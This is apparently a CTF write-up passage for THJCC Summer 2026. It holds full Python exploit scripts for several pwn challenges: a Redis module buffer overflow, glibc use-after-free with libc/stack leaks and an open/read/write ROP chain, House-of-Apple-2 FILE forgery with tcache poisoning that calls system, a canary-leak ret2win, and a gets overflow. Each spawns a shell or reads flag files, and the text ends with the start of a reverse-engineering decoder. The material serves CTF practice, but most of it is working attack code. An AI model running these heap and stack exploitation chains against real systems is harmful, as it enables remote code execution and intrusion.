OVERFLOW_LEN = 336 # (uint8_t)336 == 80 -> passes <=80 check


def rotl64(value, amount):
 return ((value << amount) | (value >> (64 - amount))) & MASK64


def fnv1a32(data):
 value = 2166136261
 for byte in data:
 value = ((value ^ byte) * 16777619) & 0xFFFFFFFF
 return value


def uvarint(value):
 out = bytearray()
 while True:
 byte = value & 0x7F
 value >>= 7
 if value:
 byte |= 0x80
 out.append(byte)
 if not value:
 return bytes(out)


class RedisResp:
 def __init__(self, host, port, timeout=15):
 self.sock = socket.create_connection((host, port), timeout=timeout)
 self.sock.settimeout(timeout)
 self.fp = self.sock.makefile("rb")

 def close(self):
 try:
 self.sock.close()
 except OSError:
 pass

 def read_reply(self):
 line = self.fp.readline()
 if not line:
 raise ConnectionError("connection closed")
 line = line.rstrip(b"\r\n")
 tag, body = line[:1], line[1:]
 if tag == b"+":
 return body.decode(errors="replace")
 if tag == b"-":
 return Exception(body.decode(errors="replace"))
 if tag == b":":
 return int(body)
 if tag == b"$":
 n = int(body)
 if n == -1:
 return None
 data = self.fp.read(n)
 self.fp.read(2)
 return data
 if tag == b"*":
 n = int(body)
 if n == -1:
 return None
 return [self.read_reply() for _ in range(n)]
 if tag in (b"%", b">", b"~"):
 n = int(body)
 step = 2 if tag == b"%" else 1
 return [self.read_reply() for _ in range(n * step)]
 raise ValueError(f"unexpected reply line: {line!r}")

 def cmd(self, *args):
 out = bytearray(f"*{len(args)}\r\n".encode())
 for arg in args:
 if isinstance(arg, str):
 arg = arg.encode()
 elif isinstance(arg, int):
 arg = str(arg).encode()
 out += f"${len(arg)}\r\n".encode() + arg + b"\r\n"
 self.sock.sendall(bytes(out))
 return self.read_reply()


def leak_module_base(r):
 """Create two legit tasks; use ticket = completion ^ rotl(id*K,17)."""
 infos = []
 for _ in range(2):
 task_id = r.cmd("chronicle.new", 60000, "leak", "x")
 if isinstance(task_id, Exception) or not isinstance(task_id, int):
 raise RuntimeError(f"chronicle.new failed: {task_id!r}")
 info = r.cmd("chronicle.show", task_id)
 if isinstance(info, Exception) or not isinstance(info, list):
 raise RuntimeError(f"chronicle.show failed: {info!r}")
 infos.append((info[0], info[3] & MASK64))

 bases = {}
 for arch, offs in ARCHES.items():
 candidates = set()
 for task_id, ticket in infos:
 salt = rotl64((task_id * K) & MASK64, 17)
 commit = (ticket ^ salt) & MASK64
 candidates.add(commit - offs["commit_annotation"])
 if len(candidates) == 1:
 base = candidates.pop()
 if base & 0xFFF == 0:
 bases[arch] = base
 if not bases:
 raise RuntimeError("no page-aligned module base: arch offsets mismatch")
 if len(bases) > 1:
 raise RuntimeError(f"ambiguous arch match: {bases}")
 arch, base = next(iter(bases.items()))
 return arch, base


def build_archive(delay_ms, anchor_addr):
 body = (
 b"A" * NOTE_CAPACITY # note[0:80]
 + struct.pack("<Q", anchor_addr) # overwrite completion ptr
 + b"B" * (OVERFLOW_LEN - NOTE_CAPACITY - 8)
 )
 assert len(body) == OVERFLOW_LEN
 archive = (
 b"CHRN"
 + bytes([1, 1, 0, 0]) # version, kind=NOTE, reserved
 + struct.pack("<I", delay_ms)
 + bytes([0]) # label_length
 + uvarint(OVERFLOW_LEN) # 0xD0 0x02
 + body
 )
 archive += struct.pack("<I", fnv1a32(archive))
 return archive


def main():
 host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
 port = int(sys.argv[2]) if len(sys.argv) > 2 else 6390
 r = RedisResp(host, port)
 try:
 pong = r.cmd("PING")
 print(f"[*] PING -> {pong}")

 arch, base = leak_module_base(r)
 offs = ARCHES[arch]
 anchor = base + offs["materialize_anchor"]
 print(f"[+] arch={arch} module_base=0x{base:x}")
 print(f"[+] materialize_anchor=0x{anchor:x} "
 f"(commit_annotation=0x{base + offs['commit_annotation']:x})")

 archive = build_archive(300, anchor)
 task_id = r.cmd("chronicle.import", archive)
 if isinstance(task_id, Exception) or not isinstance(task_id, int):
 raise RuntimeError(f"chronicle.import failed: {task_id!r}")
 print(f"[+] imported corrupted task id={task_id}, waiting for timer...")

 flag = None
 for _ in range(60):
 time.sleep(0.1)
 info = r.cmd("chronicle.show", task_id)
 if isinstance(info, list) and info[1] == "complete":
 flag = info[5]
 break
 if flag is None:
 raise RuntimeError(f"task never completed; last show: {info!r}")
 print(f"[+] FLAG: {flag.decode(errors='replace')}")
 finally:
 r.close()


if __name__ == "__main__":
 main()

déjà vu Flag：THJCC{s0_wh1ch_AI_d1d_y0u_us3_t0_s0lv3_th1s???}

subscribe 引用计数单字节 +256 回绕到 1 → 256 频道仍持指针时 free = mass UAF； tcache 抽干、悬挂 replay 泄 libc、environ 定位栈写 ORW ROP。

发现过程：反汇编定位引用计数是单字节 addb $1, 0x30(%rdx)——256 次 subscribe 后 1+256 ≡ 1 (mod 256) 回绕；discard 只清计数不清 channels[] 指针 → 256 个悬挂指针的 mass UAF。远程与本地关键差异：libseccomp 初始化在堆上留 0x40 回收块、破坏 msg/body 相邻性——用 4 次 warmup compose 抽干 tcache[0x40] + 0x800 guard 防 top 合并修复。

📜 déjà vu solve.py（216 行，核心 set_fake@3233 / warmup@3255）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216


#!/usr/bin/env python3
"""deja vu - full solve driver (pure stdlib).

Usage: solve.py HOST PORT [--scan] [--ret-off N]
Local: python3 solve.py 127.0.0.1 9004
Remote: python3 solve.py chal.thjcc.org 9004
"""
import socket, struct, sys, time

p64 = lambda x: struct.pack('<Q', x)
u64 = lambda b: struct.unpack('<Q', b)[0]

# ---- libc offsets (Ubuntu glibc 2.35-0ubuntu3.14 from handout) ----
OFF_ARENA96 = 0x21ace0 # unsorted-bin fd == main_arena+96
OFF_ENVIRON = 0x222200
OFF_RET = 0x29d90 # main()'s return-address site offset (calibrated below)
G_RDI = 0x2a3e5 # pop rdi ; ret
G_RSI = 0x2be51 # pop rsi ; ret
G_RDX = 0x90469 # pop rdx ; pop rbx ; ret
F_OPEN = 0x114520
F_READ = 0x114810
F_WRITE= 0x1148b0
F_CLOSE = 0x114f90
F_EXIT = 0x455f0

class Tube:
 def __init__(self, host, port):
 self.s = socket.create_connection((host, int(port)), 10)
 self.buf = b''
 def until(self, mark, timeout=20):
 self.s.settimeout(timeout)
 end = time.time() + timeout
 while mark not in self.buf:
 if time.time() > end:
 raise TimeoutError('waiting %r, tail %r' % (mark, self.buf[-80:]))
 d = self.s.recv(65536)
 if not d:
 raise EOFError('eof, tail %r' % self.buf[-80:])
 self.buf += d
 i = self.buf.index(mark) + len(mark)
 out, self.buf = self.buf[:i], self.buf[i:]
 return out
 def exact(self, n, timeout=20):
 self.s.settimeout(timeout)
 end = time.time() + timeout
 while len(self.buf) < n:
 if time.time() > end:
 raise TimeoutError('want %d, have %d' % (n, len(self.buf)))
 d = self.s.recv(65536)
 if not d:
 raise EOFError('eof')
 self.buf += d
 out, self.buf = self.buf[:n], self.buf[n:]
 return out
 def send(self, d):
 self.s.sendall(d)

io = None

def menu(choice):
 io.until(b'> ')
 io.send(b'%d\n' % choice)

def compose(slot, length, body):
 assert len(body) == length
 menu(1)
 io.until(b'slot> '); io.send(b'%d\n' % slot)
 io.until(b'length> '); io.send(b'%d\n' % length)
 io.until(b'subject> '); io.send(b's\n')
 io.until(b'body> '); io.send(body)
 io.until(b'composed.')

def discard(slot):
 menu(2)
 io.until(b'slot> '); io.send(b'%d\n' % slot)
 io.until(b'discarded.')

def replay_dump(ch, length):
 menu(5)
 io.until(b'channel> '); io.send(b'%d\n' % ch)
 data = io.exact(length) # write(1, fake->body, fake->len)
 io.exact(1) # puts("") newline
 return data

def amend(ch, body):
 menu(6)
 io.until(b'channel> '); io.send(b'%d\n' % ch)
 io.until(b'body> ')
 io.send(body)
 io.until(b'amended.')

def fake(body_ptr, length, refcnt=0x7f):
 f = b'F' * 0x20 + p64(body_ptr) + p64(length) + bytes([refcnt]) + b'\x00' * 7
 assert len(f) == 0x38
 return f

def set_fake(body_ptr, length):
 """rewrite the fake struct that all 256 dangling channels alias.

 tcache(0x40) rotation: discard(1) -> [msg1,F]; compose(2): body=msg1, msg=F;
 discard(2) -> [F,msg1c]; compose(1): body=F (controlled again).
 invariant at rest: F is the body of slot 1.
 """
 discard(2)
 compose(3, 0x38, fake(0, 8)) # placeholder (F becomes msg struct here)
 discard(3)
 compose(2, 0x38, fake(body_ptr, length))

def main():
 global io, OFF_RET
 host, port = sys.argv[1], sys.argv[2]
 args = sys.argv[3:]
 scan = '--scan' in args
 for a in args:
 if a.startswith('--ret-off='):
 OFF_RET = int(a.split('=')[1], 0)
 io = Tube(host, port)

 # 0) warmup: drain pre-existing tcache[0x40] entries (seccomp_init churn)
 # so body0 (0x810) and msg0 (0x40) allocate adjacently from top ->
 # free(body0) lands in unsorted bin with fd/bk = main_arena+96.
 # each compose(len=0x38) consumes two 0x40 chunks (body + msg); keep them.
 for warm in (4, 5, 6, 7):
 compose(warm, 0x38, b'W' * 0x38)

 # 1) big body -> unsorted bin on free; 2) refcount wrap; 3) mass-UAF free
 compose(0, 0x800, b'A' * 0x800)
 # guard chunk right after body0 (also a top allocation) so that
 # free(body0) cannot merge forward into top -> unsorted metadata gets written
 compose(1, 0x800, b'G' * 0x800)
 io.send(b''.join(b'3\n0\n%d\n' % ch for ch in range(256)))
 for _ in range(256):
 io.until(b'subscribed.')
 discard(0)

 # 4) dangling channel replay -> unsorted-bin libc leak
 dump = replay_dump(0, 0x800)
 libc = u64(dump[:8]) - OFF_ARENA96
 print('[+] libc base = %#x' % libc)
 assert libc & 0xfff == 0, 'bad libc base'

 # 5) reclaim freed msg chunk as controlled body -> fake message struct
 compose(2, 0x38, fake(libc + OFF_ENVIRON, 0x10))
 envptr = u64(replay_dump(2, 0x10)[:8])
 print('[+] envp array @ %#x' % envptr)

 if scan:
 set_fake(envptr - 0x4000, 0x4000)
 stack = replay_dump(2, 0x4000)
 open('/tmp/stackdump.bin', 'wb').write(stack)
 print('[+] stack %#x..%#x -> /tmp/stackdump.bin' % (envptr - 0x4000, envptr))
 seen = {}
 for off in range(0, len(stack) - 7, 8):
 v = u64(stack[off:off + 8])
 if libc < v < libc + 0x230000:
 seen.setdefault(v - libc, []).append(envptr - 0x4000 + off)
 for k in sorted(seen):
 print(' libc+%#x at %s' % (k, [hex(x) for x in seen[k]]))
 return

 assert OFF_RET, 'calibrate OFF_RET first via --scan'
 # 6) locate main's return-address slot by value
 SCAN = 0x2000
 set_fake(envptr - SCAN, SCAN)
 stack = replay_dump(2, SCAN)
 want = libc + OFF_RET
 hits = [envptr - SCAN + o for o in range(0, len(stack) - 7, 8)
 if u64(stack[o:o + 8]) == want]
 assert len(hits) == 1, 'retaddr hits: %r' % [hex(h) for h in hits]
 ret_slot = hits[0]
 print('[+] main retaddr slot = %#x' % ret_slot)

 # 7) arbitrary write: ROP chain (open/read/write flag) over the return slot
 # - close(3) first so open() deterministically returns fd 3
 # - try several candidate flag paths; echo each path before dumping
 str_base = ret_slot + 0x800
 buf_addr = ret_slot + 0x900
 paths = [b'flag.txt\x00', b'/flag.txt\x00', b'/flag\x00', b'./flag.txt\x00',
 b'/app/flag.txt\x00', b'/home/ctf/flag.txt\x00']
 def pops_rdi(v): return p64(libc + G_RDI) + p64(v)
 def pops_rsi(v): return p64(libc + G_RSI) + p64(v)
 def pops_rdx(v): return p64(libc + G_RDX) + p64(v) + p64(0)
 rop = b''
 for i, path in enumerate(paths):
 pa = str_base + 0x10 * i
 rop += pops_rdi(1) + pops_rsi(pa) + pops_rdx(0x10) + p64(libc + F_WRITE)
 rop += pops_rdi(3) + p64(libc + F_CLOSE)
 rop += pops_rdi(pa) + pops_rsi(0) + pops_rdx(0) + p64(libc + F_OPEN)
 rop += pops_rdi(3) + pops_rsi(buf_addr) + pops_rdx(0x80) + p64(libc + F_READ)
 rop += pops_rdi(1) + pops_rsi(buf_addr) + pops_rdx(0x80) + p64(libc + F_WRITE)
 rop += p64(libc + F_EXIT)
 assert len(rop) < 0x800
 payload = rop + b'\x00' * (0x800 - len(rop))
 for i, path in enumerate(paths):
 chunk = path.ljust(0x10, b' ')
 payload += chunk
 payload += b'\x00' * (0x900 - len(payload))
 set_fake(ret_slot, len(payload))
 amend(2, payload)
 print('[+] ROP chain written; triggering main return')

 menu(0)
 io.s.settimeout(8)
 out = b''
 try:
 while True:
 d = io.s.recv(65536)
 if not d:
 break
 out += d
 except Exception:
 pass
 print('[+] final output: %r' % out)

if __name__ == '__main__':
 main()

necropet Flag：THJCC{Tell_me,_Linguini,_about_your_interests...D0_u_1ik3_anima1s?The_u5ua1,_d0gs,_cats,_h0r535,_guinea_pigs...RATS~~}

glibc 2.39 UAF（h_release 清 ptr/size 不清 case_id/desk）+ House-of-Apple-2 fake FILE + tcache poisoning 写 _IO_list_all，cook(exit) 触发 RCE。

发现过程：h_release 只清 kennels[slot].ptr/size，不清 case_id 也不清全局 desk，而 show/revise/visit 只校验 case_id 相等 → 悬垂 desk 对已释放 chunk 的完整 UAF 读写；glibc 2.39 无 free_hook → 选 House-of-Apple-2（_IO_flush_all_lockp → _IO_wfile_overflow → _wide_vtable->__doallocate）。两个实测坑：fake FILE 的 _lock(+0x88) 必须指向全零内存，否则 NULL 解引用静默崩；note 首版写 8 字节落偏 8 字节，_IO_list_all 没被盖上、flush 静默走真链。

📜 necropet solve.py（176 行，关键阶段：fake FILE 直写@3478、tcache poison→_IO_list_all@3505）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176


#!/usr/bin/env python3
# THJCC Summer 2026 - necropet (Pwn)
# Vuln: h_release clears kennels[slot].ptr/size but NOT kennels[slot].case_id nor
# the global `desk` (selected record). show/revise/visit re-validate only
# kennels[desk.slot].case_id == desk.case_id -> full UAF read+write on the
# freed chunk while it sits in tcache/unsorted.
# Chain: unsorted leak (libc) -> UAF tcache poisoning -> write _IO_list_all ->
# House-of-Apple-2 fake FILE on heap -> cook (exit) -> _IO_cleanup flush
# -> system(" sh") -> cat flag.
import socket, struct, sys, time

HOST = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1024

p64 = lambda x: struct.pack("<Q", x)
u64 = lambda b: struct.unpack("<Q", b)[0]

# --- libc 2.39-0ubuntu8.8 offsets (from provided libc.so.6) ---
OFF_SYSTEM = 0x58750
OFF_IO_WFILE = 0x202228 # _IO_wfile_jumps
OFF_IO_LIST_ALL = 0x2044c0 # _IO_list_all
OFF_UNSORTED = 0x203b20 # main_arena(0x203ac0) + 0x60

# poison target: must be 16-aligned, note lands on &_IO_list_all
# T + 0x28 == &_IO_list_all -> T = 0x2044c0 - 0x28 - 8 = 0x204490 (aligned)
OFF_TARGET = 0x204490

class Tube:
 def __init__(self, host, port):
 self.s = socket.create_connection((host, port), timeout=10)
 self.buf = b""
 def recv_until(self, tok, timeout=10):
 self.s.settimeout(timeout)
 end = time.time() + timeout
 while tok not in self.buf:
 if time.time() > end:
 raise TimeoutError(f"waiting {tok!r}, buf={self.buf[-200:]!r}")
 d = self.s.recv(65536)
 if not d:
 raise EOFError(f"eof waiting {tok!r}, buf={self.buf!r}")
 self.buf += d
 i = self.buf.index(tok) + len(tok)
 out, self.buf = self.buf[:i], self.buf[i:]
 return out
 def send(self, d):
 self.s.sendall(d)
 def sendline(self, line):
 self.send(line + b"\n")

t = Tube(HOST, PORT)
print(t.recv_until(b"type help for commands").decode(errors="replace"))

def admit(slot, kind, cap, ln, note=b""):
 t.sendline(f"admit {slot} {kind} {cap} {ln}".encode())
 if ln:
 t.send(note)
 t.recv_until(b"admitted")

def select(slot):
 t.sendline(f"select {slot}".encode())
 t.recv_until(b"selected")

def release(slot):
 t.sendline(f"release {slot}".encode())
 t.recv_until(b"released")

def show():
 t.sendline(b"show")
 t.recv_until(b"record: ")
 hx = t.recv_until(b"\n").strip()
 return bytes.fromhex(hx.decode())

def revise(ln, data):
 t.sendline(f"revise {ln}".encode())
 t.send(data)
 t.recv_until(b"revised")

# ---- stage 0: heap grooming --------------------------------------------
# chunks: tcache(0x290)@H, A(0x50)@H+0x290, B(0x520)@H+0x2e0,
# C(0x50 guard)@H+0x800, A2(0x50)@H+0x850
# user addrs: A=H+0x2a0, B=H+0x2f0, C=H+0x810, A2=H+0x860
admit(0, 0, 0x20, 0) # A tcache-poison base #1
admit(1, 0, 0x4f0, 0) # B unsorted leaker (0x520 > tcache max)
admit(2, 0, 0x20, 0) # C guard so B does not merge into top
admit(3, 0, 0x20, 0) # A2 tcache-poison head

# ---- stage 1: heap leak via first-freed tcache next (= ptr>>12) --------
select(0)
release(0)
dump = show()
hint = u64(dump[0:8])
key = u64(dump[8:16])
assert hint > 0x10000 and key != 0, f"bad tcache dump {dump[:0x20].hex()}"
heap = hint << 12 # first-freed tcache next = (A>>12) ^ NULL; A sits in first page
print(f"[+] heap = {heap:#x}")
A = heap + 0x2a0
A2 = heap + 0x860
D = heap + 0x2f0 # B's user addr; stays freed in unsorted

# ---- stage 2: libc leak via unsorted bin fd ----------------------------
select(1)
release(1) # desk dangles at B (kennels[1].case_id kept)
dump = show()
fd, bk = u64(dump[0:8]), u64(dump[8:16])
assert fd == bk and fd & 0xfff == 0xb20, f"bad unsorted dump {dump[:0x20].hex()}"
libc = fd - OFF_UNSORTED
assert libc & 0xfff == 0, hex(libc)
print(f"[+] libc = {libc:#x}")

# ---- stage 3: fake FILE written straight into freed B via UAF (desk=B) --
# desk still dangles at B; the fake clobbers its fd/bk, which is fine:
# every later malloc is a tcache hit and never inspects the unsorted bin.
W = D + 0x100 # _IO_wide_data
V = D + 0x200 # fake wide vtable
fake = bytearray(0x4f0)
# command string doubles as _flags; two leading spaces keep bits 0x2/0x8/0x800
# clear so wfile_overflow -> wdoallocbuf -> __doallocate(system) path is taken
fake[0x00:0x0f] = b" cat this*;sh\x00"
fake[0x20:0x28] = p64(0) # _IO_write_base
fake[0x28:0x30] = p64(1) # _IO_write_ptr > base -> overflow
fake[0x68:0x70] = p64(0) # _chain = NULL
fake[0xa0:0xa8] = p64(W) # _wide_data
fake[0x88:0x90] = p64(D + 0x300) # _lock -> zeroed area inside fake
 # (flush_all locks fp before overflow)
fake[0xc0:0xc4] = struct.pack("<i", 0) # _mode <= 0
fake[0xd8:0xe0] = p64(libc + OFF_IO_WFILE) # vtable = _IO_wfile_jumps
# _IO_wide_data offsets verified in this exact libc's disassembly:
# _IO_buf_base +0x30, _wide_vtable +0xe0; doallocate slot +0x68
fake[0x100+0x18:0x100+0x20] = p64(0) # wide->_IO_write_base = 0
fake[0x100+0x30:0x100+0x38] = p64(0) # wide->_IO_buf_base = 0
fake[0x100+0xe0:0x100+0xe8] = p64(V) # wide->_wide_vtable
fake[0x200+0x68:0x200+0x70] = p64(libc + OFF_SYSTEM)
if "--probe2" in sys.argv: # path probe: puts(fp) prints flags instead of shell
 fake[0x200+0x68:0x200+0x70] = p64(libc + 0x87cc0)
revise(0x4f0, bytes(fake))

# ---- stage 5: tcache poison A2.next -> &_IO_list_all region -----------
select(3)
release(3) # tcache[0x50]: A2 -> A ; desk dangles at A2
T = libc + OFF_TARGET
revise(8, p64(T ^ (A2 >> 12))) # safe-linking: next = T ^ (A2>>12)

# ---- stage 6: consume A2 then land malloc on _IO_list_all -------------
admit(6, 0, 0x20, 0) # takes A2
# T = libc+0x204490 (16-aligned); note starts at T+0x28 = &_IO_list_all-8,
# so note[8:16] lands exactly on _IO_list_all
admit(7, 0, 0x20, 16, p64(0xdeadbeef) + p64(D))

if "--probe" in sys.argv:
 t.sendline(b"select 7")
 t.recv_until(b"selected")
 d = show()
 print("[probe] slot7 chunk:", d[:0x48].hex())
 t.sendline(b"select 6")
 t.recv_until(b"selected")
 d = show()
 print("[probe] slot6 chunk:", d[:0x48].hex())
 sys.exit(0)

# ---- stage 7: trigger exit -> _IO_cleanup -> system(" cat this*;sh") ---
t.sendline(b"cook")
time.sleep(1.5)
t.sendline(b"cat thisisratratratrat_puipui.txt; cat $NECROPET_FLAG_PATH; id; ls")
time.sleep(2.0)
out = b""
try:
 t.s.settimeout(3)
 while True:
 d = t.s.recv(65536)
 if not d:
 break
 out += d
except Exception:
 pass
out += t.buf
print("RAW:", repr(out))

Canary Notes Flag：THJCC{y0u_k1ll3d_c4n4ry_y0u_b4d_b4d}

伪金丝雀随机 token 经 receipt 泄漏（发 7 字节留言拿完整 token 避开 NUL 低字节）， ret2win 需 ret gadget 对齐远程栈。

📜 Canary Notes solve.py（69 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69


#!/usr/bin/env python3
"""Canary Notes (THJCC Summer 2026, pwn) exploit.

Bug: scanf("%s") into an 8-byte stack buffer (rbp-0x10) in main.
Layout: [note buf:8][token copy:8][saved rbp:8][ret:8]
The 8-byte random token ("canary") is leaked via the receipts:
 receipt = note_content ^ token (same token both notes)
Trick: scanf("%s") appends a NUL after the input. An 8-char note puts the
NUL at buf[8] == byte0 of the token copy, so the receipt then leaks
token & ~0xff. Instead send a 7-char note: input = 'A'*7 + NUL (8 bytes,
buf[0..7]) so the token copy stays intact and encrypt reads 'AAAAAAA\x00',
making receipt byte0 = token byte0 ^ 0 = the TRUE token byte0. Full token
leaked in one shot: token = receipt1 ^ u64(b'A'*7 + b'\x00').
Then overflow note2 restoring the token copy to pass the tamper check and
set ret = win (0x401246 -> system("/bin/sh")). No libc needed.

Alignment: entering win directly makes the `call system` inside it hit with
rsp misaligned (system entry rsp % 16 == 0 instead of 8); some glibcs crash.
Chain through a plain `ret` gadget (0x4010f0) first to shift rsp by 8.

Usage: ./solve.py [host] [port]
"""
from pwn import *
import sys, re

HOST = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1337

context.log_level = "info"
context.arch = "amd64"

WIN = 0x401246 # calls system("/bin/sh")
RET_GADGET = 0x4010F0 # plain `ret`, aligns rsp before entering WIN


def main():
 r = remote(HOST, PORT)
 r.recvuntil(b"leave a note:\n")

 # note 1: 7 'A's -> scanf writes 'AAAAAAA' + NUL into buf[0..7],
 # leaving the token copy (at rbp-0x8) untouched; encrypt reads
 # 'AAAAAAA\x00' ^ token -> receipt leaks the FULL token
 note1 = b"A" * 7
 r.sendline(note1)
 line = r.recvline()
 log.info("receipt1: %s", line.strip())
 m = re.search(rb"receipt: 0x([0-9a-f]{16})", line)
 assert m, f"bad receipt line: {line!r}"
 receipt1 = int(m.group(1), 16)
 token = receipt1 ^ u64(note1 + b"\x00")
 log.info("token = 0x%016x", token)
 assert all(0x21 <= (token >> (8 * i)) & 0xFF <= 0x7E for i in range(8)), "token has odd bytes"

 r.recvuntil(b"leave another note:\n")

 # note 2: overflow; restore token copy, smash ret -> (ret gadget) -> win
 payload = b"B" * 8 + p64(token) + b"C" * 8 + p64(RET_GADGET) + p64(WIN)
 assert b" " not in payload and b"\n" not in payload and b"\t" not in payload
 r.sendline(payload)

 r.recvuntil(b"thanks!\n")
 r.sendline(b"cat flag.txt; cat /flag.txt; cat /flag; ls -la")
 data = r.recvall(timeout=3)
 log.success("output:\n%s", data.decode(errors="replace"))
 return data


if __name__ == "__main__":
 main()

I ate something bad Flag：THJCC{m4yb3_1_34t_t0_much}

gets 栈溢出覆盖 0xbadf00d 常量触发 system("/bin/sh")。

📜 I ate something bad solve.py（65 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65


#!/usr/bin/env python3
"""THJCC Summer 2026 - "I ate something bad ..." (Pwn, Baby)

Vuln: gets() into 48-byte buffer at rbp-0x30. Program checks [rbp-0x4] == 0xbadf00d
("bad food") and if so calls system("/bin/sh"). Overflow 44 bytes + 0xbadf00d
to satisfy the check and get a shell, then cat the flag.

Usage: python3 solve.py [host] [port] (defaults: chal.thjcc.org 11037)
"""
import socket
import sys
import time

HOST = sys.argv[1] if len(sys.argv) > 1 else "chal.thjcc.org"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 11037

PAYLOAD = b"A" * 44 + (0xBADF00D).to_bytes(4, "little") # 48 bytes total


def recv_until(sock, marker, timeout=5):
 sock.settimeout(timeout)
 data = b""
 while marker not in data:
 try:
 chunk = sock.recv(4096)
 except socket.timeout:
 break
 if not chunk:
 break
 data += chunk
 return data


def main():
 s = socket.create_connection((HOST, PORT), timeout=10)
 banner = recv_until(s, b"?")
 print("[*] banner:", banner.decode(errors="replace").strip())

 s.sendall(PAYLOAD + b"\n")
 time.sleep(0.3)
 out = recv_until(s, b"$", timeout=2)
 print("[*] after payload:", out.decode(errors="replace").strip())

 s.sendall(b"cat flag.txt; echo __END__\n")
 time.sleep(0.5)
 data = b""
 s.settimeout(5)
 try:
 while True:
 chunk = s.recv(4096)
 if not chunk:
 break
 data += chunk
 if b"__END__" in data:
 break
 except socket.timeout:
 pass
 print("[*] flag output:")
 print(data.decode(errors="replace"))

 s.close()


if __name__ == "__main__":
 main()

Reverse（6/6）

横向观察：6 题里 4 题的 flag 都是从常量表用滚动异或解出——cl 初值各异、每轮 +0x1A、奇偶位分别 ^(cl-0x0D)/^cl（License / 404 / xorlocks / BlackFrost），疑似同一作者套路：逆向先 grep 0x1a，命中即定位解密循环。

BlackFrost Flag：THJCC{blackfrost_config_recovered}

C2 客户端 PE32+ 7KB：pcap 是"失败探针"装饰，flag 在 .rdata 34 字节密文 + 滚动密钥（cl 初值 0x26、每 2 字节 +0x1a）逐字节 XOR。

📜 BlackFrost solve.py（98 行，核心 decode_flag@3754）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98


#!/usr/bin/env python3
"""BlackFrost (THJCC Summer 2026, Reverse) — one-shot solver.

The PE (BlackFrost.exe) is a small C2 client:
 1. parses `--token <tok>` (17 chars), checks FNV-1a32(token) == 0xB700B632
 2. decrypts a static "stage" blob from .rdata (SSE keystream keyed by the hash)
 and requires it to contain "campaign=BLACKFROST-26;"
 3. sleeps >= 3 s (anti-sandbox timer), then connects to 127.0.0.1:31337,
 sends "BFHELLO <hash-hex>\n", receives "BF2:<hexconfig>\n"
 4. XOR-decodes the config: byte[i] ^= hash_byte[i%4] ^ (0x5a + 0x11*i)
 and requires campaign/nonce/directive fields
 5. finally prints the flag: a static 34-byte blob at .rdata:0x140003080
 XORed with rolling key cl: 0x26 + 0x1a*i (even byte ^= cl-13, odd ^= cl)

The flag is static — no network needed. The pcap lets us verify the protocol.
"""
import struct
from pathlib import Path

HERE = Path(__file__).resolve().parent
EXE = HERE / "BlackFrost.exe"
PCAP = HERE / "traffic.pcap"

HASH = 0xB700B632 # FNV-1a32 of the (unknown) 17-char token


def fnv1a32(data: bytes) -> int:
 h = 0x811C9DC5
 for b in data:
 h ^= b
 h = (h * 0x01000193) & 0xFFFFFFFF
 return h


def exe_rdata(va: int, n: int) -> bytes:
 """Read n bytes at virtual address `va` from .rdata (file off 0x1600)."""
 data = Path(EXE).read_bytes()
 # .rdata: VMA 0x140003000, file offset 0x1600
 off = 0x1600 + (va - 0x140003000)
 return data[off:off + n]


def decode_flag() -> str:
 blob = exe_rdata(0x140003080, 34)
 out = bytearray()
 cl = 0x26
 for i in range(0, len(blob), 2):
